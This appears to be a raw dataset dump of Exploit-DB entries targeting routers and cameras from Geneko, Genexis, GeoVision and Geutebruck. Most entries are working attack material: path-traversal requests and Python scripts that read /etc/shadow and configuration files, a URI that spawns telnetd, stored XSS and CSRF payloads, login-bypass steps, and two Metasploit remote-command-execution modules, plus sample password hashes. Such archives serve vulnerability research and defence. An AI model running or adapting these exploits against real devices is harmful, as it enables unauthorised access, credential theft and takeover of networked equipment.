deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44072
Description: Geneko Routers - Path Traversal
Type: webapps
Platform: hardware
Date: 2017-07-16
Author: SecuriTeam

Exploit:
## Vulnerability Summary
The following advisory describes a Unauthenticated Path Traversal vulnerability found in Geneko GWR routers series.

Geneko GWG is compact and cost effective communications solution that provides cellular capabilities for fixed and mobile applications such as data acquisition, smart metering, remote monitoring and management. GWG supports a variety of radio bands options on 2G, 3G and 4G cellular technologies.

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
We have informed Geneko of the vulnerability on the 28th of May 2017, the last email we received from them was on the 7th of June 2017. We have no further updates from Geneko regarding the availability of a patch or a workaround for the vulnerability.
CVE: CVE-2017-11456

## Vulnerability Details
User controlled input is not sufficiently sanitized, and then passed to a function responsible for accessing the filesystem. Successful exploitation of this vulnerability enables a remote unauthenticated user to read the content of any file existing on the host, this includes files located outside of the web root folder.

By sending the following GET request, You get direct access to the configuration file, which allows you to log in to the login panel:

```
GET /../../../../../../../../../../../../mnt/flash/params/j_admin_admin.params HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
```

## Router response:

```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 121

{"enable":true,"username":"admin","password”:"xxx!","web_access":0,"http_port":80,"https_port":443,"gui_timeout":15}

In this case, the admin user is configured to have access to the shell (SSH Access) as can be seen in the /etc/passwd

admin:x:0:0:root:/root:/root/cli
```

## Proof of Concept

path_traversal.py

```
import requests
import sys
domain = sys.argv[1]
r = requests.get("http://"+domain+"/../../../../../etc/shadow")
print r.content
```

The router then will response with:


```
root:$1$ryjw5yTs$xoQlzavABZ5c7gQuD7jKO0:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
admin:$1$72G6z9YF$cs5dS2elxOD3qicUTlEHO/:10933:0:99999:7:::
```
Exploit-DB #49764
Description: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE
Type: webapps
Platform: hardware
Date: 2021-04-14
Author: Jay Sharma

Exploit:
# Exploit Title: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE
# Date: 12-4-2021
# Exploit Author: Jay Sharma 
# Version: Genexis PLATINUM 4410 2.1 P4410-V2-1.28
# Tested on: V2.1
# CVE : CVE-2021-29003

#steps to reproduce#

Genexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the http://x.x.x.x/sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI
Exploit-DB #48948
Description: Genexis Platinum-4410 - 'SSID' Persistent XSS
Type: webapps
Platform: hardware
Date: 2020-10-26
Author: Amal Mohandas

Exploit:
# Exploit Title: Persistent XSS in SSID
# Date: 10/24/2020
# Exploit Author: Amal Mohandas
# Vendor Homepage: https://genexis.co.in/product/ont/
# Version: Platinum-4410 Software version - P4410-V2-1.28
# Tested on: Windows 10

Vulnerability Details
======================
Genexis Platinum-4410 Home Gateway Router is vulnerable to stored XSS
in the SSID parameter. This could allow attackers to perform malicious
action in which the XSS popup will affect all privileged users.

How to reproduce
===================
1. Login to the firmware as any user
2. Navigate to Net tab--> WLAN
3. Enter below mentioned payload in "SSID" text box
<script>alert(1)</script>
4. Click on the "OK" button.
5. Relogin as any user and again navigate to Net tab--> WLAN
6. Observe the XSS popup showing persistent XSS
Exploit-DB #47961
Description: Genexis Platinum-4410 2.1 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2020-01-24
Author: Husinul Sanub

Exploit:
# Exploit Title:  Genexis Platinum-4410 2.1 - Authentication Bypass
# Date: 20220-01-08
# Exploit Author: Husinul Sanub
# Author Contact: https://www.linkedin.com/in/husinul-sanub-658239106/
# Vulnerable Product: Genexis Platinum-4410 v2.1 Home Gateway Router https://genexis.co.in/product/ont/
# Firmware version: P4410-V2–1.28
# Vendor Homepage: https://genexis.co.in/
# Reference: https://medium.com/@husinulzsanub/exploiting-router-authentication-through-web-interface-68660c708206
# CVE: CVE-2020-6170

Vulnerability Details
======================
Genexis Platinum-4410 v2.1 Home Gateway Router discloses passwords of each users(Admin,GENEXIS,user3) in plain text behind login page source “http://192.168.1.1/cgi-bin/index2.asp". This could potentially allow a remote attacker access sensitive information and perform actions such as reset router, changing passwords, upload malicious firmware etc.

How to reproduce
===================
Suppose 192.168.1.1 is the router IP and check view page source of login page “http://192.168.1.1/cgi-bin/index2.asp",There we can found passwords for each login accounts in clear text.


POC
=========
* https://youtu.be/IO_Ez4XH-0Y
Exploit-DB #48972
Description: Genexis Platinum-4410 P4410-V2-1.28 - Cross Site Request Forgery to Reboot
Type: webapps
Platform: hardware
Date: 2020-10-29
Author: Mohammed Farhan

Exploit:
# Exploit Title: Genexis Platinum-4410 P4410-V2-1.28 - Cross Site Request Forgery to Reboot
# Date: 10/28/2020
# Exploit Author: Mohammed Farhan
# Vendor Homepage: https://genexis.co.in/product/ont/
# Version: Platinum-4410 Software version - P4410-V2-1.28
# Tested on: Windows 10
# Author Contact: https://twitter.com/farhankn

Vulnerability Details
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Login to the application
Create an HTML file using the below mentioned code

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action=3D"http://192.168.1.1/cgi-bin/mag-reset.asp" method=3D"POS=
T">
      <input type=3D"hidden" name=3D"rebootflag" value=3D"1" />
      <input type=3D"hidden" name=3D"restoreFlag" value=3D"1" />
      <input type=3D"hidden" name=3D"isCUCSupport" value=3D"0" />
      <input type=3D"submit" value=3D"Submit request" />
    </form>
  </body>
</html>

Open the HTML page in the browser and Click on "Submit Request"
Note that modem reboots after the same
Exploit-DB #49709
Description: Genexis Platinum-4410 P4410-V2-1.31A - 'start_addr' Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2021-03-25
Author: Jithin KS

Exploit:
# Exploit Title: Genexis Platinum-4410 P4410-V2-1.31A - 'start_addr' Persistent Cross-Site Scripting
# Date: 03/25/2020
# Exploit Author: Jithin KS
# Vendor Homepage: https://www.gxgroup.eu/ont-products/
# Version: Platinum-4410 Software version - P4410-V2-1.31A
# Tested on: Windows 10
# Author Contact: hhttps://twitter.com/jithinks_8<https://twitter.com/amalmohandas0>

Vulnerability Details
======================
Genexis Platinum-4410 Home Gateway Unit is vulnerable to stored XSS in the "start_addr" parameter. This could allow attackers to perform malicious action in which the XSS popup will affect all privileged users.

How to reproduce
===================
1. Login to the firmware as any user
2. Navigate to Manage tab--> Security Management
3. Enter any valid value in Start Source Address and fill all other fields. Click Add.
4. Capture this request in Burp Suite. Enter payload <script>alert(1)</script> in "start_addr" text box and forward the request.
5. Relogin as any user and again navigate to Manage tab--> Security Management
6. Observe the XSS popup showing persistent XSS
Exploit-DB #37258
Description: GeoVision (GeoHttpServer) Webcams - Remote File Disclosure
Type: webapps
Platform: hardware
Date: 2015-06-10
Author: Viktor Minin

Exploit:
#!/usr/bin/python
import os
import sys
import socket
import binascii

'''
Title       : GeoVision GeoHttpServer WebCams Remote File Disclosure Exploit
CVE-ID      : none
Product     : GeoVision
System		: GeoHttpServer
Affected    : 8.3.3.0 (may be more)
Impact      : Critical
Remote      : Yes
Website link: http://www.geovision.com.tw/
Reported    : 10/06/2015
Author      : Viktor Minin, minin.viktor@gmail.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
No authentication (login) is required to exploit this vulnerability. 
The GeoVision GeoHttpServer application is prone to a remote file disclosure vulnerability.
An attacker can exploit this vulnerability to retrieve and download stored files on server such as 'boot.ini' and 'win.ini' by using a simple url request which made by browser.
'''

#os.system("cls")
os.system('title GeoVision GeoHttpServer Webcams Remote File Disclosure Exploit');
os.system('color 2');

socket.setdefaulttimeout = 0.50
os.environ['no_proxy'] = '127.0.0.1,localhost'
CRLF = "\r\n"


def main(): 
	print "#######################################################################"
	print "# GeoVision GeoHttpServer Webcams Remote File Disclosure Exploit"
	print "# Usage: <ip> <port> <file>" 
	print "# Example: " +sys.argv[0]+ " 127.0.0.1 1337 windows\win.ini" 
	print "#######################################################################"
	exit()

try:
	url 	= sys.argv[1]
	port 	= int(sys.argv[2])
	#files 	= open(sys.argv[3],'r').read().split() 
	file 	= sys.argv[3]
except:
	main()
	
def recvall(sock):
	data = ""
	part = None
	while part != "":
		part = sock.recv(4096)
		data += part
	return data

def request(url, port, pfile):
	PATH = str(pfile)	
	HOST = url
	PORT = port
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	sock.connect((HOST, PORT))
	sock.send("GET /...\...\\" + PATH + "%s HTTP/1.0\r\n\r\n" % (CRLF))
	data = recvall(sock)
	temp = data.split("\r\n\r\n")
	sock.shutdown(1)	
	sock.close()
	return temp[1]

ret = request(url, port, file)
hex	= "".join("{:02x}".format(ord(c)) for c in ret)
bin = binascii.unhexlify(hex)
print ret
file = open(file.replace('\\', '_'),"wb")
file.write(bin)
file.close()

#~EOF
Exploit-DB #51179
Description: GeoVision Camera GV-ADR2701 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2023-04-01
Author: Chan Nyein Wai

Exploit:
# Exploit Title: GeoVision Camera GV-ADR2701 - Authentication Bypass 
# Device name: GV-ADR2701
# Date: 26 December , 2020
# Exploit Author: Chan Nyein Wai
# Vendor Homepage: https://www.geovision.com.tw/
# Software Link: https://www.geovision.com.tw/download/product/
# Firmware Version: V1.00_2017_12_15
# Tested on: windows 10

# Exploitation
1. Capture The Login Request with burp, Do intercept request to response

Request:
```
PUT /LAPI/V1.0/Channel/0/System/Login HTTP/1.1
Host: 10.10.10.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0)
Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Authorization: Basic dW5kZWZpbmVkOnVuZGVmaW5lZA==
Content-Length: 46
Origin: http://10.10.10.10
Connection: close
Referer: http://10.10.10.10/index.htm?clientIpAddr=182.168.10.10&IsRemote=0
Cookie: isAutoStartVideo=1

{"UserName":"admin","Password":"0X]&0D]]05"}
```

2. The following is the normal response when you login to the server.
```
HTTP/1.1 200 Ok
Content-Length: 170
Content-Type: text/plain
Connection: close
X-Frame-Options: SAMEORIGIN

{
"Response": {
"ResponseURL": "/LAPI/V1.0/Channel/0/System/Login",
"CreatedID": -1,
"StatusCode": 460,
"StatusString": "PasswdError",
"Data": "null"
}
}
```

By editing the response to the following, you can successfully log in to
the web application.

```
HTTP/1.1 200 Ok
Content-Length: 170
Content-Type: text/plain
Connection: close
X-Frame-Options: SAMEORIGIN

{
"Response": {
"ResponseURL": "/LAPI/V1.0/Channel/0/System/Login",
"CreatedID": -1,
"StatusCode": 0,
"StatusString": "Succeed",
"Data": "null"
}
}
```
Exploit-DB #50211
Description: GeoVision Geowebserver 5.3.3 - Local FIle Inclusion
Type: webapps
Platform: hardware
Date: 2021-08-17
Author: Ken Pyle

Exploit:
# Exploit Title: GeoVision Geowebserver 5.3.3 - LFI / XSS / HHI / RCE
# DynamicDNS Network to find: DIPMAP.COM / GVDIP.COM
# Date: 6-16-21 (Vendor Notified)
# Exploit Author: Ken 's1ngular1ty' Pyle
# Vendor Homepage: https://www.geovision.com.tw/cyber_security.php
# Version: <= 5.3.3
# Tested on: Windows 20XX / MULTIPLE
# CVE : https://www.geovision.com.tw/cyber_security.php

GEOVISION GEOWEBSERVER =< 5.3.3 are vulnerable to several XSS / HTML Injection / Local File Include / XML Injection / Code execution vectors. The application fails to properly sanitize user requests. This allows injection of HTML code and XSS / client side exploitation, including session theft:

Nested Exploitation of the LFI, XSS, HTML / Browser Injection:

GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=<script>test</script><iframe%20src=""> HTTP/1.1

Absolute exploitation of the LFI:

POST /Visitor/bin/WebStrings.srf?obj_name=win.ini

GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows\win.ini

Additionally, the vendor has issued an ineffective / broken patch (https://www.geovision.com.tw/cyber_security.php) which does not appear to remediate or address the problem. Versions 5.3.3 and below continue to be affected. This is acknowledged by the vendor.


ex. obj_name=INJECTEDHTML / XSS

The application fails to properly enforce permissions and sanitize user request. This allows for LFI / Remote Code Execution through several vectors:

ex. /Visitor//%252e(path to target)

These vectors can be blended / nested to exfiltrate data in a nearly undetectable manner, through the API:

The devices are vulnerable to HOST HEADER POISONING and CROSS-SITE REQUEST FORGERY against the web application. These can be used for various vectors of attack.

These attacks were disclosed as part of the IOTVillage Presentation:

 https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20villages/DEFCON%2029%20IoT%20Village%20-%20Ken%20Pyle%20-%20BLUEMONDAY%20Series%20Exploitation%20and%20Mapping%20of%20Vulnerable%20Devices%20at%20Scale.mp4
Exploit-DB #45065
Description: GeoVision GV-SNVR0811 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2018-07-22
Author: Berk Dusunur

Exploit:
# Exploit Title: GeoVision GV-SNVR0811 Directory Traversal
# Exploit Author: Berk Dusunur
# Google Dork: N/A
# Type: Hardware
# Date: 2018-07-21
# Vendor Homepage: http://www.geovision.com.tw/product/GV-SNVR0811
# Software Link: http://www.geovision.com.tw/product/GV-SNVR0811
# Affected Version: N/A
# Tested on: Parrot OS
# CVE : N/A


# Proof Of Concept

GET Request

GET ../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 200 OK
Server:Cross Web Server
Content-length: 59
Content-type: application/octet-stream

root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh
Exploit-DB #44957
Description: Geutebruck 5.02024 G-Cam/EFD-2250 - 'simple_loglistjs.cgi' Remote Command Execution (Metasploit)
Type: webapps
Platform: hardware
Date: 2018-07-02
Author: RandoriSec

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Geutebruck simple_loglistjs.cgi Remote Command Execution',
      'Description'    => %q{
        This module exploits a an arbitrary command execution vulnerability. The
        vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an
        anonymous user to execute arbitrary commands with root privileges.
        Firmware <= 1.12.0.19 are concerned.
        Tested on 5.02024 G-Cam/EFD-2250 running 1.12.0.4 firmware.
      },
      'Author'         =>
        [
          'Nicolas Mattiocco', #CVE-2018-7520 (RCE)
          'Davy Douhine' #CVE-2018-7520 (RCE) and metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2018-7520' ],
          [ 'URL', 'http://geutebruck.com' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat bash',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 20 2018'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/simple_loglistjs.cgi']),
      ], self.class)
  end

  def exploit
    header = "(){ :;}; "
    encpayload = "#{header}#{payload.encoded}"
    uri = target_uri.path + "?" + Rex::Text.uri_encode(encpayload, "hex-all")
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    res = send_request_raw(
      {
        'method' => 'GET',
        'uri'    => uri
    })
  end

end
Exploit-DB #41360
Description: Geutebruck 5.02024 G-Cam/EFD-2250 - 'testaction.cgi' Remote Command Execution (Metasploit)
Type: webapps
Platform: hardware
Date: 2017-02-15
Author: RandoriSec

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Geutebruck testaction.cgi Remote Command Execution',
      'Description'    => %q{
        This module exploits a an arbitrary command execution vulnerability. The
        vulnerability exists in the /uapi-cgi/viewer/testaction.cgi page and allows an
        anonymous user to execute arbitrary commands with root privileges.
        Firmware <= 1.11.0.12 are concerned.
        Tested on 5.02024 G-Cam/EFD-2250 running 1.11.0.12 firmware.
      },
      'Author'         =>
        [
          'Davy Douhine',	#CVE-2017-5173 (RCE) and metasploit module
          'Florent Montel' 	#CVE-2017-5174 (Authentication bypass)
          'Frederic Cikala' #CVE-2017-5174 (Authentication bypass)
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-5173' ],
          [ 'CVE', '2017-5174' ],
          [ 'URL', 'http://geutebruck.com' ]
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-045-02' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat bash',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 16 2016'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/testaction.cgi']),
      ], self.class)
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    command = payload.encoded
    res = send_request_cgi(
      {
        'uri'    => uri,
        'method' => 'POST',
        'vars_post' => {
          'type' => "ip",
          'ip' => "eth0 1.1.1.1;#{command}",
        },
    })
  end

end
Exploit-DB #45242
Description: Geutebrueck re_porter 16 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-08-22
Author: Kamil Suska

Exploit:
# Exploit Title: Geutebrueck re_porter 16 - Cross-Site Scripting
# Date: 2018-08-03
# Exploit Author: Kamil Suska
# Vendor: https://www.geutebrueck.com/en_US.html
# Link: https://www.sourcesecurity.com/geutebruck-re-porter-16-technical-details.html
# Version: prior 7.8.974.20
# CVE-2018-15533

# Attack Vectors
http://example.com:12005/modifychannel/exec?vv9r7<script>alert(1)</script>auubw=1

http://example.com:12005/images/IOMemoryPool.png?ebmf6<script>alert(1)</script>pmsih=1

http://example.com:12005/images/Statistics.png?q3dlx<script>alert(1)</script>zjvdw=1

http://example.com:12005/images/GLIBBackground.jpg?itfvf<script>alert(1)</script>irvnl=1

http://example.com:12005/images/MainMemoryPool.png?bzu69<script>alert(1)</script>m2hhj=1

http://example.com:12005/images/ProcessMemory.png?f4d7j<script>alert(1)</script>m5by3=
Exploit-DB #45240
Description: Geutebrueck re_porter 7.8.974.20 - Credential Disclosure
Type: webapps
Platform: hardware
Date: 2018-08-22
Author: Kamil Suska

Exploit:
# Exploit Title: Geutebrueck re_porter 7.8.974.20 - Credential Disclosure
# Date: 2018-08-03
# Exploit Author: Kamil Suska
# Vendor: https://www.geutebrueck.com/en_US.html
# Link: https://www.sourcesecurity.com/geutebruck-re-porter-16-technical-details.html
# Version: prior 7.8.974.20
# CVE-2018-15534

# PoC

GET /statistics/gscsetup.xml HTTP/1.1
Host: example.com:12003

# Result (Redacted):

<Node Name="UserList" NodeID="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
      <Node Name="0000" NodeID="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
        <Value Name="Name" ValueType="ntWideString" Value="Sysadmin"/>
        <Value Name="Password" ValueType="ntString"
Value="##MD5passwordhash##"/>
        <Value Name="UserRights" ValueType="ntInt32" Value="0x00000001"/>
        <Node Name="SecondUserList"
NodeID="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
        </Node>